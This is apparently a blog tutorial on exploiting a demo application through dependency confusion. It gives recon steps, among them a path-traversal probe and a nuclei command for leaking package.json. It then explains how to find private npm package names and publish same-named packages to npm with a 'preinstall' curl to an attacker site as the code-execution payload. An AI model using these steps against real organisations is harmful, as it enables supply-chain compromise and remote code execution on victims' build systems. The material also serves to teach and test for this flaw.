Exploiting Dependency Confusion
This blog is a step by step guide to exploit a demo application vulnerable to Dependency Confusion attack.
This blog is not about what dependency confusion is, you can read about that here.
Introduction to demo app
Our demo application is a simple app with only Backend and Frontend. The Frontend allows users to input a string which is sent to backend and checked against XSS payload in it. Backend checks if string from frontend has XSS payload in it or not and relay response back to Frontend.
Backend
Backend is running at http://demo-app.com:1337.
There is an API endpoint http://demo-app.com:1337/?text=PAYLOAD
that checks for XSS payload in it.
Frontend
Frontend is running at http://demo-app.com:3000
The Frontend takes a query parameter “text”. It then hits the backend API with that query parameter text, looks for XSS in that text, and displays the result backe on screen (see below)
Overview Dependency Confusion
To Find if an application is vulnerable to Dependency confusion, our first step is to find as much as possible external packages used in the web application.
What are packages?
We can think of packages as Developers sharing code with other developers for reuse
.
Public vs Private Registry
Suppose a developer develops a mongo database wrapper to enable MongoDB connection. If he wantes to avail this package to other developers, he can make a package and publish it to an public
registry(central repository) and other developers can reuse it.
In case you do not want to share your package with everyone in the world and keep it secret to people in your organization you can host your packages on a private
organization registry and only people in your organization can use it. For example. Let’s say you have a custom authentication process that you think everyone can use in your company. Making it public will not be a good idea. So you can always host a private registry and host your private packages there. You can read more here
Exploiting demo app
Our primary objective as an attacker is to find as many packages as possible used in Frontend/Backend and find the ones that are private to the organization. Once we know all private packages, we can host them on npm and the web application will download our package instead of the private package(that’s how this vulnerability works. It first looks at public registry and then private registry).
Step 1
Find Packages installed in backend application. For this we will need to leak the package.json file somehow. Some ways to do it:
- Directory brute force for sensitive information leak
- http://site.com/.git can leak full source
- http://site.com/package.json try reading package.json directly
- http://site.com/package-lock.json try reading package-lock.json directly. It also contains information about packages installed.
- Using Nuclei template. Nuclei has numerous template for sensitive information leak.
- RUN
nuclei -t ./nuclei-templates/exposures/configs/package-json.yaml -u http://demo-app.com:1337
- RUN
- Leaking application’ source code. If application is vulnerable to Local file disclosure, we can use it to leak package.json
- http://site.com/?file=../../../package.json
- OSINT
- If its an open source app, you can try finding the source code on GitHub and other places. If we get application’s source code, we can extract package.json from it
etc.. The Objective here is to use your hacker instinct to find the leak and get the information about packages installed.
Following the above steps, running dirsearch on our demo application backend(http://demo-app:1337/) show’s the following result:
So we can see that package.json file is exposed. It lists the following packages installed.
Step 2
Find packages installed in the Frontend application. Follow the following steps:
-
Reviewing frontend source code and looking for imported packages. Look for the term
require()
orimport
in the source code -
Frontend Application might be returning
node_modules
folders back to the user. Applications usually do that in debug mode
etc.. Again, the goal is to use your hacker instincts and find the packages.
Step 3
List all the packages
- Frontend
- react
- ez-get-url-params [looks suspecious]
- react-dom
- react-refresh
- url …
- Backend
- body-parser
- express
- xss-finder-0xsapra [looks suspecious]
Step 4
Now that we have a list of all the packages used in the application, the next step is to find which one of them is NOT on npm
. We can simply do this by visiting https://www.npmjs.com/ and search for the package name.
So 2 packages which I can’t find are:
-
xss-finder-0xsapra
-
ez-get-url-params
Meaning these are private packages.
Step 5
Upload the package with similar name xss-finder-0xsapra
or ez-get-url-params
on NPM(with preinstall scripts to get RCE). Here are steps to upload xss-finder-0xsapra
and perform the attack chain
- git clone https://github.com/0xsapra/dependency-confusion-expoit
- cd dependency-confusion-expoit
- Edit
package.json
following fields- Change module name from
"name": "your-module-name",
to"name": "xss-finder-0xsapra",
. - Change Version from
"version": "1.0.0",
to"version": "1.0.0",
- Th leaked package.json shows
xss-finder-0xsapra
is at version1.0.0
so we use that same version
- Th leaked package.json shows
- Change preinstall script from
"preinstall": "curl http://yoursite.co.m"
to"preinstall": "curl http://yoursite.com"
- preinstall is the bash command that gets executed. Put your RCE payload here
After Editing, the
package.json
should look like:
- preinstall is the bash command that gets executed. Put your RCE payload here
After Editing, the
- Change module name from
- After editing package.json, next step is to upload this package to npm. To do this you can follow the steps from https://zellwk.com/blog/publish-to-npm/ . Here’s the same steps:
- Login/Signup into npm from https://www.npmjs.com/signup
- Open terminal/bash and login into
npm
public registry from terminal usingnpm login
command - Run
npm publish .
in terminal and it will publishxss-finder-0xsapra
to npm
- You can now find the package uploaded on https://npmjs.com
Step 6
Now whenever backend code will run npm install
it will install our package instead and run the preinstall
script (curl command in our case).
Conslusion
Following the above 6 steps, you should be able to properly test an application against dependency confusion vulnerability.
Nuclei have a template here which you can use to find package.json
file.
I hope this helps. Thanks for reading Special thanks to madrobot for proof reading and helping me write this blog.